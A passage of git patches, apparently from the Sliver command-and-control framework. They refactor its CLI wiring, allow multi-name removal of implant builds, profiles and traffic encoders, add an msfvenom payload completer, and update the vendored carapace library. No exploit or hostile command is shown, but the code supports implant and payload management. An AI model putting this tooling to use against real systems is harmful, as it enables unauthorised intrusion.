TrafficEncodersCompleter(con *console.SliverClient) carapace.Action { results = append(results, desc) } - return carapace.ActionValuesDescribed(results...).Tag("traffic encoders") + return carapace.ActionValuesDescribed(results...).Tag("traffic encoders"). + Invoke(c).Filter(c.Args).ToA() }).Cache(completers.CacheCompilerInfo) } diff --git a/client/command/generate/implants-rm.go b/client/command/generate/implants-rm.go index e63620a924..026edd8b31 100644 --- a/client/command/generate/implants-rm.go +++ b/client/command/generate/implants-rm.go @@ -12,28 +12,28 @@ import ( // ImplantsRmCmd - Deletes an archived implant build from the server. func ImplantsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { - name := args[0] - // name := ctx.Args.String("name") - if name == "" { - con.PrintErrorf("No name specified\n") - return - } - build := ImplantBuildByName(name, con) - if build == nil { - con.PrintErrorf("No implant build found with name '%s'\n", name) - return - } - confirm := false - prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)} - survey.AskOne(prompt, &confirm) - if !confirm { - return - } - _, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{ - Name: name, - }) - if err != nil { - con.PrintErrorf("Failed to delete implant %s\n", con.UnwrapServerErr(err)) - return + for _, name := range args { + if name == "" { + continue + } + + build := ImplantBuildByName(name, con) + if build == nil { + con.PrintErrorf("No implant build found with name '%s'\n", name) + return + } + confirm := false + prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)} + survey.AskOne(prompt, &confirm) + if !confirm { + return + } + _, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{ + Name: name, + }) + if err != nil { + con.PrintErrorf("Failed to delete implant %s\n", con.UnwrapServerErr(err)) + continue + } } } diff --git a/client/command/generate/profiles-rm.go b/client/command/generate/profiles-rm.go index d7351a9cef..da748cc13f 100644 --- a/client/command/generate/profiles-rm.go +++ b/client/command/generate/profiles-rm.go @@ -30,31 +30,31 @@ import ( // ProfilesRmCmd - Delete an implant profile. func ProfilesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { - var name string - if len(args) > 0 { - name = args[0] - } - // name := ctx.Args.String("name") - if name == "" { - con.PrintErrorf("No profile name specified\n") - return - } - profile := GetImplantProfileByName(name, con) - if profile == nil { - con.PrintErrorf("No profile found with name '%s'\n", name) - return - } - confirm := false - prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)} - survey.AskOne(prompt, &confirm) - if !confirm { - return - } - _, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{ - Name: name, - }) - if err != nil { - con.PrintErrorf("Failed to delete profile %s\n", con.UnwrapServerErr(err)) - return + for _, name := range args { + if name == "" { + continue + } + if name == "" { + con.PrintErrorf("No profile name specified\n") + return + } + profile := GetImplantProfileByName(name, con) + if profile == nil { + con.PrintErrorf("No profile found with name '%s'\n", name) + return + } + confirm := false + prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)} + survey.AskOne(prompt, &confirm) + if !confirm { + return + } + _, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{ + Name: name, + }) + if err != nil { + con.PrintErrorf("Failed to delete profile %s\n", con.UnwrapServerErr(err)) + continue + } } } diff --git a/client/command/generate/traffic-encoders.go b/client/command/generate/traffic-encoders.go index ca3efe5a06..593bd8cdbc 100644 --- a/client/command/generate/traffic-encoders.go +++ b/client/command/generate/traffic-encoders.go @@ -246,14 +246,29 @@ func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTest // TrafficEncodersRemoveCmd - Remove a traffic encoder. func TrafficEncodersRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { - _, cancel := con.GrpcContext(cmd) - defer cancel() - var name string if len(args) > 0 { - name = args[0] - } - if name == "" { + for _, name := range args { + if name == "" { + continue + } + + grpcCtx, cancel := con.GrpcContext(cmd) + _, err := con.Rpc.TrafficEncoderRm(grpcCtx, &clientpb.TrafficEncoder{ + Wasm: &commonpb.File{ + Name: name, + }, + }) + cancel() + + if err != nil { + con.PrintErrorf("%s", con.UnwrapServerErr(err)) + continue + } + + con.PrintInfof("Successfully removed traffic encoder: %s\n", name) + } + } else { name = SelectTrafficEncoder(con) } grpcCtx, cancel := con.GrpcContext(cmd) @@ -267,7 +282,6 @@ func TrafficEncodersRemoveCmd(cmd *cobra.Command, con *console.SliverClient, arg con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } - con.Println() con.PrintInfof("Successfully removed traffic encoder: %s\n", name) } From a995c1490f5fcf69dbbc834b3c19bfb59b46dba6 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Tue, 8 Aug 2023 00:41:26 +0200 Subject: [PATCH 068/124] Fixes during presentations --- client/cli/cli.go | 21 ++++++++++----------- client/command/exec/commands.go | 1 + server/cli/cli.go | 29 +++++++++++++++-------------- server/command/server.go | 3 ++- server/msf/msf.go | 21 +++++++++++++++------ server/transport/mtls.go | 3 ++- server/transport/server.go | 3 ++- server/transport/tailscale.go | 3 ++- 8 files changed, 49 insertions(+), 35 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index 5c0f684d4d..9beb7eb71a 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -24,7 +24,6 @@ import ( "github.com/bishopfox/sliver/client/command" sliverConsole "github.com/bishopfox/sliver/client/command/console" client "github.com/bishopfox/sliver/client/console" - "github.com/reeflective/console" "github.com/reeflective/team/client/commands" "github.com/rsteube/carapace" "github.com/spf13/cobra" @@ -42,13 +41,7 @@ func Execute() { } // Generate our complete Sliver Framework command-line interface. - rootCmd, server := SliverCLI(con) - - // Bind the closed-loop console. - // The console shares the same setup/connection pre-runners as other commands, - // but the command yielders we pass as arguments don't: this is because we only - // need one connection for the entire lifetime of the console. - rootCmd.AddCommand(sliverConsole.Command(con, server)) + rootCmd := SliverCLI(con) // Version rootCmd.AddCommand(cmdVersion) @@ -63,7 +56,7 @@ func Execute() { // The ready-to-execute command tree (root *cobra.Command) returned is correctly equipped // with all prerunners needed to connect to remote Sliver teamservers. // It will also register the appropriate teamclient management commands. -func SliverCLI(con *client.SliverClient) (root *cobra.Command, server console.Commands) { +func SliverCLI(con *client.SliverClient) (root *cobra.Command) { teamclientCmds := func(con *client.SliverClient) []*cobra.Command { return []*cobra.Command{ commands.Generate(con.Teamclient), @@ -73,11 +66,17 @@ func SliverCLI(con *client.SliverClient) (root *cobra.Command, server console.Co // Generate a single tree instance of server commands: // These are used as the primary, one-exec-only CLI of Sliver, and are equipped with // a pre-runner ensuring the server and its teamclient are set up and connected. - server = command.ServerCommands(con, teamclientCmds) + server := command.ServerCommands(con, teamclientCmds) root = server() root.Use = "sliver-client" // Needed by completion scripts. + // Bind the closed-loop console. + // The console shares the same setup/connection pre-runners as other commands, + // but the command yielders we pass as arguments don't: this is because we only + // need one connection for the entire lifetime of the console. + root.AddCommand(sliverConsole.Command(con, server)) + // Implant. // The implant command allows users to run commands on slivers from their // system shell. It makes use of pre-runners for connecting to the server @@ -96,5 +95,5 @@ func SliverCLI(con *client.SliverClient) (root *cobra.Command, server console.Co // Generate the root completion command. carapace.Gen(root) - return root, server + return root } diff --git a/client/command/exec/commands.go b/client/command/exec/commands.go index 4807e57d59..019af886d7 100644 --- a/client/command/exec/commands.go +++ b/client/command/exec/commands.go @@ -197,6 +197,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { }) flags.BindFlagCompletions(msfCmd, func(comp *carapace.ActionMap) { (*comp)["encoder"] = generate.MsfEncoderCompleter(con) + (*comp)["payload"] = generate.MsfPayloadCompleter(con) }) msfInjectCmd := &cobra.Command{ diff --git a/server/cli/cli.go b/server/cli/cli.go index f3925e637e..48f9ad540c 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -22,7 +22,6 @@ import ( "os" // CLI dependencies - "github.com/reeflective/console" "github.com/rsteube/carapace" "github.com/spf13/cobra" @@ -33,7 +32,9 @@ import ( clientCommand "github.com/bishopfox/sliver/client/command" consoleCmd "github.com/bishopfox/sliver/client/command/console" client "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/server/c2" "github.com/bishopfox/sliver/server/command" + "github.com/bishopfox/sliver/server/configs" "github.com/bishopfox/sliver/server/encoders" "github.com/bishopfox/sliver/server/transport" @@ -67,13 +68,7 @@ func Execute() { con.AddConnectHooks(preRunServer(teamserver, con)) // Generate our complete Sliver Framework command-line interface. - rootCmd, server := sliverServerCLI(teamserver, con) - - // Bind the closed-loop console: - // The console shares the same setup/connection pre-runners as other commands, - // but the command yielders we pass as arguments don't: this is because we only - // need one connection for the entire lifetime of the console. - rootCmd.AddCommand(consoleCmd.Command(con, server)) + rootCmd := sliverServerCLI(teamserver, con) // Run the target Sliver command: // Three different examples here, to illustrate. @@ -101,17 +96,23 @@ func Execute() { // It will also register the appropriate teamclient management commands. // // Counterpart of sliver/client/cli.SliverCLI() (not identical: no implant command here). -func sliverServerCLI(team *server.Server, con *client.SliverClient) (root *cobra.Command, server console.Commands) { +func sliverServerCLI(team *server.Server, con *client.SliverClient) (root *cobra.Command) { teamserverCmds := command.TeamserverCommands(team, con) // Generate a single tree instance of server commands: // These are used as the primary, one-exec-only CLI of Sliver, and are equipped with // a pre-runner ensuring the server and its teamclient are set up and connected. - server = clientCommand.ServerCommands(con, teamserverCmds) + server := clientCommand.ServerCommands(con, teamserverCmds) root = server() root.Use = "sliver-server" // Needed by completion scripts. + // Bind the closed-loop console: + // The console shares the same setup/connection pre-runners as other commands, + // but the command yielders we pass as arguments don't: this is because we only + // need one connection for the entire lifetime of the console. + root.AddCommand(consoleCmd.Command(con, server)) + // Pre/post runners and completions. clientCommand.BindPrePost(root, true, con.ConnectRun) clientCommand.BindPrePost(root, false, func(_ *cobra.Command, _ []string) error { @@ -121,7 +122,7 @@ func sliverServerCLI(team *server.Server, con *client.SliverClient) (root *cobra // Generate the root completion command. carapace.Gen(root) - return root, server + return root } // preRunServer is the server-binary-specific pre-run; it ensures that the server @@ -130,15 +131,15 @@ func preRunServer(teamserver *server.Server, con *client.SliverClient) func() er return func() error { // Ensure the server has what it needs. assets.Setup(false, true) - encoders.Setup() // WARN: I added this here after assets.Setup(), but used to be in init. Is it wrong to put it here ? + encoders.Setup() certs.SetupCAs() certs.SetupWGKeys() cryptography.AgeServerKeyPair() cryptography.MinisignServerPrivateKey() // TODO: Move this out of here. - // serverConfig := configs.GetServerConfig() - // c2.StartPersistentJobs(serverConfig) + serverConfig := configs.GetServerConfig() + c2.StartPersistentJobs(serverConfig) // Let our in-memory teamclient be served. return teamserver.Serve(con.Teamclient) diff --git a/server/command/server.go b/server/command/server.go index f8a328946f..bedce7fc3d 100644 --- a/server/command/server.go +++ b/server/command/server.go @@ -19,6 +19,8 @@ package command */ import ( + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/server/command/assets" @@ -27,7 +29,6 @@ import ( "github.com/bishopfox/sliver/server/command/version" "github.com/reeflective/team/server" "github.com/reeflective/team/server/commands" - "github.com/spf13/cobra" ) // TeamserverCommands is the equivalent of client/command.ServerCommands(), but for server-binary only ones. diff --git a/server/msf/msf.go b/server/msf/msf.go index 360ff99c01..b4f1ec1f70 100644 --- a/server/msf/msf.go +++ b/server/msf/msf.go @@ -156,9 +156,7 @@ func CacheModules() { return } - msfDir := filepath.Join(assets.GetRootAppDir(), msfDir) - - fileName := filepath.Join(msfDir, "msf-"+target+".cache") + fileName := filepath.Join(MsfDir(), "msf-"+target+".cache") if err := os.WriteFile(fileName, result, 0o600); err != nil { msfLog.Error(err) } @@ -169,6 +167,19 @@ func CacheModules() { msfLog.Infof("Done caching msfvenom data") } +// GetRootAppDir - Get the Sliver app dir, default is: ~/.sliver/ +func MsfDir() string { + msfDir := filepath.Join(assets.GetRootAppDir(), msfDir) + + if _, err := os.Stat(msfDir); os.IsNotExist(err) { + err = os.MkdirAll(msfDir, 0o700) + if err != nil { + msfLog.Fatalf("Cannot write to sliver root dir %s", err) + } + } + return msfDir +} + // GetMsfCache returns the cache of Metasploit modules and other info. func GetMsfCache() *clientpb.MetasploitCompiler { formats, ok := msfCache.Load("formats") @@ -362,10 +373,8 @@ func parseCache() *clientpb.MetasploitCompiler { msf.Version = ver - msfDir := filepath.Join(assets.GetRootAppDir(), msfDir) - for _, file := range msfModuleTypes { - fileName := filepath.Join(msfDir, fmt.Sprintf("msf-%s.cache", file)) + fileName := filepath.Join(MsfDir(), fmt.Sprintf("msf-%s.cache", file)) switch file { case "formats": diff --git a/server/transport/mtls.go b/server/transport/mtls.go index b74ee97c03..83a4d9352f 100644 --- a/server/transport/mtls.go +++ b/server/transport/mtls.go @@ -22,9 +22,10 @@ import ( "net" "sync" - "github.com/reeflective/team/server" "google.golang.org/grpc" "google.golang.org/grpc/test/bufconn" + + "github.com/reeflective/team/server" ) // teamserver is a vanilla TCP+MTLS gRPC server offering all Sliver services through it. diff --git a/server/transport/server.go b/server/transport/server.go index 7ef8f19403..b4d9e715df 100644 --- a/server/transport/server.go +++ b/server/transport/server.go @@ -23,10 +23,11 @@ import ( "net" "runtime/debug" - "github.com/reeflective/team/server" "google.golang.org/grpc" "google.golang.org/grpc/test/bufconn" + "github.com/reeflective/team/server" + "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/bishopfox/sliver/server/assets" "github.com/bishopfox/sliver/server/db" diff --git a/server/transport/tailscale.go b/server/transport/tailscale.go index 36e47d8d01..412aba7873 100644 --- a/server/transport/tailscale.go +++ b/server/transport/tailscale.go @@ -25,10 +25,11 @@ import ( "os" "path/filepath" - "github.com/reeflective/team/server" "google.golang.org/grpc" "tailscale.com/tsnet" + "github.com/reeflective/team/server" + "github.com/bishopfox/sliver/server/assets" ) From 88fc7b6e83050750bc385fa402a6156d3ffda42b Mon Sep 17 00:00:00 2001 From: maxlandon Date: Tue, 8 Aug 2023 05:32:05 +0200 Subject: [PATCH 069/124] Update completion engine version --- go.mod | 11 ++--- go.sum | 4 +- .../github.com/rsteube/carapace/carapace.go | 13 ----- .../github.com/rsteube/carapace/complete.go | 6 +-- .../rsteube/carapace/pkg/style/config.go | 48 +++++++++---------- vendor/github.com/rsteube/carapace/storage.go | 8 ---- .../elves/elvish/pkg/cli/lscolors/feature.go | 1 + vendor/modules.txt | 5 +- 8 files changed, 36 insertions(+), 60 deletions(-) diff --git a/go.mod b/go.mod index c1d502267c..9bc05f9e22 100644 --- a/go.mod +++ b/go.mod @@ -2,13 +2,12 @@ module github.com/bishopfox/sliver go 1.20 -// replace github.com/rsteube/carapace v0.37.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca +// A fork of the completion engine is currently used in order to consume the engine +// as a library. The fork is a very slightly patched mainline tree for that purpose. +replace github.com/rsteube/carapace v0.37.3 => github.com/reeflective/carapace v0.25.2-0.20230808000955-080d3bd7f194 -replace github.com/rsteube/carapace v0.37.3 => /home/user/code/github.com/reeflective/carapace - -replace github.com/reeflective/team v0.0.0-20230717232729-e28a155bca96 => /home/user/code/github.com/reeflective/team - -// replace github.com/reeflective/console v0.1.6 => /home/user/code/github.com/reeflective/console +// Team is the teamserver/teamclient library, and this directive should be removed. +replace github.com/reeflective/team => /home/user/code/github.com/reeflective/team require ( filippo.io/age v1.1.1 diff --git a/go.sum b/go.sum index e3e3fe420a..65111898de 100644 --- a/go.sum +++ b/go.sum @@ -322,12 +322,12 @@ github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZN github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e h1:51xcRlSMBU5rhM9KahnJGfEsBPVPz3182TgFRowA8yY= github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e/go.mod h1:tcaRap0jS3eifrEEllL6ZMd9dg8IlDpi2S1oARrQ+NI= +github.com/reeflective/carapace v0.25.2-0.20230808000955-080d3bd7f194 h1:Ibirru7u3sKdsKHQRQluOfwv/eXsw+v+r9h50cf1kU8= +github.com/reeflective/carapace v0.25.2-0.20230808000955-080d3bd7f194/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc= github.com/reeflective/console v0.1.6 h1:BhhvQU/m8QOpaIRzrXfwcbtkGQJX9jVR5qIqAy/Mcuw= github.com/reeflective/console v0.1.6/go.mod h1:7owTBE9k2lg2QpVw7g4DrK1HxEgr/5DQCmA3O2Znoek= github.com/reeflective/readline v1.0.8 h1:VuDGI82lAwl1H5by+hpW4OQgM+9ikh6EuOySQUGP3sI= github.com/reeflective/readline v1.0.8/go.mod h1:5JgnHb/ZCvp/6RUA59HEansPBxWTkyBO4hJ5LL9Fp1Y= -github.com/reeflective/team v0.0.0-20230730014339-6d91952bc187 h1:FT77nbrQlbSz7yxL23ezc0zHu/xnu+hY5OG2PS+TyPg= -github.com/reeflective/team v0.0.0-20230730014339-6d91952bc187/go.mod h1:6pibborkTGBH30FAz3R+tByK7NPVVkalQU0w90Koq90= github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= diff --git a/vendor/github.com/rsteube/carapace/carapace.go b/vendor/github.com/rsteube/carapace/carapace.go index 7fba2f2cec..6573567f18 100644 --- a/vendor/github.com/rsteube/carapace/carapace.go +++ b/vendor/github.com/rsteube/carapace/carapace.go @@ -38,19 +38,6 @@ func (c Carapace) PreRun(f func(cmd *cobra.Command, args []string)) { } } -func (c Carapace) PostRun(f func(cmd *cobra.Command, args []string)) { - if entry := storage.get(c.cmd); entry.postrun != nil { - _f := entry.postrun - entry.postrun = func(cmd *cobra.Command, args []string) { - // TODO yuck - probably best to append to a slice in storage - _f(cmd, args) - f(cmd, args) - } - } else { - entry.prerun = f - } -} - // PreInvoke sets a function to alter actions before they are invoked. func (c Carapace) PreInvoke(f func(cmd *cobra.Command, flag *pflag.Flag, action Action) Action) { if entry := storage.get(c.cmd); entry.preinvoke != nil { diff --git a/vendor/github.com/rsteube/carapace/complete.go b/vendor/github.com/rsteube/carapace/complete.go index 0cf82b3b03..f23efa8f02 100644 --- a/vendor/github.com/rsteube/carapace/complete.go +++ b/vendor/github.com/rsteube/carapace/complete.go @@ -49,11 +49,7 @@ func complete(cmd *cobra.Command, args []string) (string, error) { action = ActionMessage("failed to load config: " + err.Error()) } - act := action.Invoke(context).value(args[0], args[len(args)-1]) - storage.postRun(cmd, args) - - return act, nil - // return action.Invoke(context).value(args[0], args[len(args)-1]), nil + return action.Invoke(context).value(args[0], args[len(args)-1]), nil } } diff --git a/vendor/github.com/rsteube/carapace/pkg/style/config.go b/vendor/github.com/rsteube/carapace/pkg/style/config.go index 9799b13603..954c19da04 100644 --- a/vendor/github.com/rsteube/carapace/pkg/style/config.go +++ b/vendor/github.com/rsteube/carapace/pkg/style/config.go @@ -25,41 +25,41 @@ func Register(name string, i interface{}) { config.RegisterStyle(name, i) } func Set(key, value string) error { return config.SetStyle(key, value) } type carapace struct { - Value string `description:"default style for values" tag:"core styles"` + Value string `description:"default style for values" tag:"core styles"` Description string `description:"default style for descriptions" tag:"core styles"` - Error string `description:"default style for errors" tag:"core styles"` - Usage string `description:"default style for usage" tag:"core styles"` + Error string `description:"default style for errors" tag:"core styles"` + Usage string `description:"default style for usage" tag:"core styles"` KeywordAmbiguous string `description:"keyword describing a ambiguous state" tag:"keyword styles"` - KeywordNegative string `description:"keyword describing a negative state" tag:"keyword styles"` - KeywordPositive string `description:"keyword describing a positive state" tag:"keyword styles"` - KeywordUnknown string `description:"keyword describing an unknown state" tag:"keyword styles"` + KeywordNegative string `description:"keyword describing a negative state" tag:"keyword styles"` + KeywordPositive string `description:"keyword describing a positive state" tag:"keyword styles"` + KeywordUnknown string `description:"keyword describing an unknown state" tag:"keyword styles"` - LogLevelTrace string `description:"LogLevel TRACE" tag:"loglevel styles"` - LogLevelDebug string `description:"LogLevel DEBUG" tag:"loglevel styles"` - LogLevelInfo string `description:"LogLevel INFO" tag:"loglevel styles"` - LogLevelWarning string `description:"LogLevel WARNING" tag:"loglevel styles"` - LogLevelError string `description:"LogLevel ERROR" tag:"loglevel styles"` + LogLevelTrace string `description:"LogLevel TRACE" tag:"loglevel styles"` + LogLevelDebug string `description:"LogLevel DEBUG" tag:"loglevel styles"` + LogLevelInfo string `description:"LogLevel INFO" tag:"loglevel styles"` + LogLevelWarning string `description:"LogLevel WARNING" tag:"loglevel styles"` + LogLevelError string `description:"LogLevel ERROR" tag:"loglevel styles"` LogLevelCritical string `description:"LogLevel CRITICAL" tag:"loglevel styles"` - LogLevelFatal string `description:"LogLevel FATAL" tag:"loglevel styles"` + LogLevelFatal string `description:"LogLevel FATAL" tag:"loglevel styles"` - Highlight1 string `description:"Highlight 1" tag:"highlight styles"` - Highlight2 string `description:"Highlight 2" tag:"highlight styles"` - Highlight3 string `description:"Highlight 3" tag:"highlight styles"` - Highlight4 string `description:"Highlight 4" tag:"highlight styles"` - Highlight5 string `description:"Highlight 5" tag:"highlight styles"` - Highlight6 string `description:"Highlight 6" tag:"highlight styles"` - Highlight7 string `description:"Highlight 7" tag:"highlight styles"` - Highlight8 string `description:"Highlight 8" tag:"highlight styles"` - Highlight9 string `description:"Highlight 9" tag:"highlight styles"` + Highlight1 string `description:"Highlight 1" tag:"highlight styles"` + Highlight2 string `description:"Highlight 2" tag:"highlight styles"` + Highlight3 string `description:"Highlight 3" tag:"highlight styles"` + Highlight4 string `description:"Highlight 4" tag:"highlight styles"` + Highlight5 string `description:"Highlight 5" tag:"highlight styles"` + Highlight6 string `description:"Highlight 6" tag:"highlight styles"` + Highlight7 string `description:"Highlight 7" tag:"highlight styles"` + Highlight8 string `description:"Highlight 8" tag:"highlight styles"` + Highlight9 string `description:"Highlight 9" tag:"highlight styles"` Highlight10 string `description:"Highlight 10" tag:"highlight styles"` Highlight11 string `description:"Highlight 11" tag:"highlight styles"` Highlight12 string `description:"Highlight 12" tag:"highlight styles"` - FlagArg string `description:"flag with argument" tag:"flag styles"` + FlagArg string `description:"flag with argument" tag:"flag styles"` FlagMultiArg string `description:"flag with multiple arguments" tag:"flag styles"` - FlagNoArg string `description:"flag without argument" tag:"flag styles"` - FlagOptArg string `description:"flag with optional argument" tag:"flag styles"` + FlagNoArg string `description:"flag without argument" tag:"flag styles"` + FlagOptArg string `description:"flag with optional argument" tag:"flag styles"` } var Carapace = carapace{ diff --git a/vendor/github.com/rsteube/carapace/storage.go b/vendor/github.com/rsteube/carapace/storage.go index b4470a1d2d..9673ffccd1 100644 --- a/vendor/github.com/rsteube/carapace/storage.go +++ b/vendor/github.com/rsteube/carapace/storage.go @@ -20,7 +20,6 @@ type entry struct { dashAny Action preinvoke func(cmd *cobra.Command, flag *pflag.Flag, action Action) Action prerun func(cmd *cobra.Command, args []string) - postrun func(cmd *cobra.Command, args []string) bridged bool } @@ -68,13 +67,6 @@ func (s _storage) preRun(cmd *cobra.Command, args []string) { } } -func (s _storage) postRun(cmd *cobra.Command, args []string) { - if entry := s.get(cmd); entry.postrun != nil { - LOG.Printf("executing PreRun for %#v with args %#v", cmd.Name(), args) - entry.postrun(cmd, args) - } -} - func (s _storage) preinvoke(cmd *cobra.Command, flag *pflag.Flag, action Action) Action { a := action if entry := s.get(cmd); entry.preinvoke != nil { diff --git a/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/cli/lscolors/feature.go b/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/cli/lscolors/feature.go index ff5afcf82f..fdce6d3014 100644 --- a/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/cli/lscolors/feature.go +++ b/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/cli/lscolors/feature.go @@ -40,6 +40,7 @@ const worldWritable = 0o002 func determineFeature(fname string, mh bool) (feature, error) { stat, err := os.Lstat(fname) + if err != nil { return featureInvalid, err } diff --git a/vendor/modules.txt b/vendor/modules.txt index db8dd69a0f..30ceb0422b 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -534,7 +534,7 @@ github.com/reeflective/readline/internal/macro github.com/reeflective/readline/internal/strutil github.com/reeflective/readline/internal/term github.com/reeflective/readline/internal/ui -# github.com/reeflective/team v0.0.0-20230717232729-e28a155bca96 => /home/user/code/github.com/reeflective/team +# github.com/reeflective/team v0.0.0-20230730014339-6d91952bc187 => /home/user/code/github.com/reeflective/team ## explicit; go 1.20 github.com/reeflective/team github.com/reeflective/team/client @@ -556,7 +556,7 @@ github.com/remyoudompheng/bigfft # github.com/rivo/uniseg v0.4.4 ## explicit; go 1.18 github.com/rivo/uniseg -# github.com/rsteube/carapace v0.37.3 => /home/user/code/github.com/reeflective/carapace +# github.com/rsteube/carapace v0.37.3 => github.com/reeflective/carapace v0.25.2-0.20230808000955-080d3bd7f194 ## explicit; go 1.15 github.com/rsteube/carapace github.com/rsteube/carapace/internal/cache @@ -1266,3 +1266,4 @@ tailscale.com/wgengine/wgcfg/nmcfg tailscale.com/wgengine/wgint tailscale.com/wgengine/wglog tailscale.com/wgengine/winnet +# github.com/reeflective/team => /home/user/code/github.com/reeflective/team From 678faacd7e2b340df3cd0a4e05fe890db8ed75eb Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 10 Aug 2023 00:10:50 +0200 Subject: [PATCH 070/124] Cleanups and fixes in command display groups --- client/cli/cli.go | 15 ++++++++------- client/cli/implant.go | 2 ++ client/cli/version.go | 11 +++++++---- client/command/console/console.go | 9 +++++---- client/console/console.go | 12 ++++++------ client/console/readline.go | 2 ++ server/command/server.go | 5 ++++- 7 files changed, 34 insertions(+), 22 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index 9beb7eb71a..d25b6e3b96 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -21,12 +21,13 @@ package cli import ( "os" - "github.com/bishopfox/sliver/client/command" - sliverConsole "github.com/bishopfox/sliver/client/command/console" - client "github.com/bishopfox/sliver/client/console" "github.com/reeflective/team/client/commands" "github.com/rsteube/carapace" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command" + consoleCmd "github.com/bishopfox/sliver/client/command/console" + "github.com/bishopfox/sliver/client/console" ) // Execute - Run the sliver client binary. @@ -35,7 +36,7 @@ func Execute() { // Sliver Client, prepared with a working reeflective/teamclient. // The teamclient automatically handles remote teamserver configuration // prompting/loading and use, as well as other things. - con, err := client.NewSliverClient() + con, err := console.NewSliverClient() if err != nil { panic(err) } @@ -56,8 +57,8 @@ func Execute() { // The ready-to-execute command tree (root *cobra.Command) returned is correctly equipped // with all prerunners needed to connect to remote Sliver teamservers. // It will also register the appropriate teamclient management commands. -func SliverCLI(con *client.SliverClient) (root *cobra.Command) { - teamclientCmds := func(con *client.SliverClient) []*cobra.Command { +func SliverCLI(con *console.SliverClient) (root *cobra.Command) { + teamclientCmds := func(con *console.SliverClient) []*cobra.Command { return []*cobra.Command{ commands.Generate(con.Teamclient), } @@ -75,7 +76,7 @@ func SliverCLI(con *client.SliverClient) (root *cobra.Command) { // The console shares the same setup/connection pre-runners as other commands, // but the command yielders we pass as arguments don't: this is because we only // need one connection for the entire lifetime of the console. - root.AddCommand(sliverConsole.Command(con, server)) + root.AddCommand(consoleCmd.Command(con, server)) // Implant. // The implant command allows users to run commands on slivers from their diff --git a/client/cli/implant.go b/client/cli/implant.go index d0dfc14948..4dfdff08a3 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -20,6 +20,8 @@ func implantCmd(con *client.SliverClient, sliverCmds console.Commands) *cobra.Co // usable in the context of an active target implant. implantCmd := sliverCmds() implantCmd.Use = constants.ImplantMenu + implantCmd.Short = "Implant target command tree (equivalent of the sliver menu)" + implantCmd.GroupID = constants.SliverHelpGroup // But let the user set this implant with a flag. implantFlags := pflag.NewFlagSet(constants.ImplantMenu, pflag.ContinueOnError) diff --git a/client/cli/version.go b/client/cli/version.go index 89ad72e863..c8b724d89c 100644 --- a/client/cli/version.go +++ b/client/cli/version.go @@ -21,14 +21,17 @@ package cli import ( "fmt" - "github.com/bishopfox/sliver/client/version" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/client/version" ) var cmdVersion = &cobra.Command{ - Use: "version", - Short: "Print version and exit", - Long: ``, + Use: "version", + Short: "Print version and exit", + Long: ``, + GroupID: constants.GenericHelpGroup, Run: func(cmd *cobra.Command, args []string) { fmt.Printf("%s\n", version.FullVersion()) }, diff --git a/client/command/console/console.go b/client/command/console/console.go index 8570ffb9f3..d057f5f185 100644 --- a/client/command/console/console.go +++ b/client/command/console/console.go @@ -19,11 +19,12 @@ package console */ import ( + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command" client "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/reeflective/console" - "github.com/spf13/cobra" ) // Command returns the closed-loop Sliver console command. @@ -34,10 +35,10 @@ import ( // is always the same in the console. func Command(con *client.SliverClient, serverCmds console.Commands) *cobra.Command { consoleCmd := &cobra.Command{ - Use: "console", - Short: "Start the 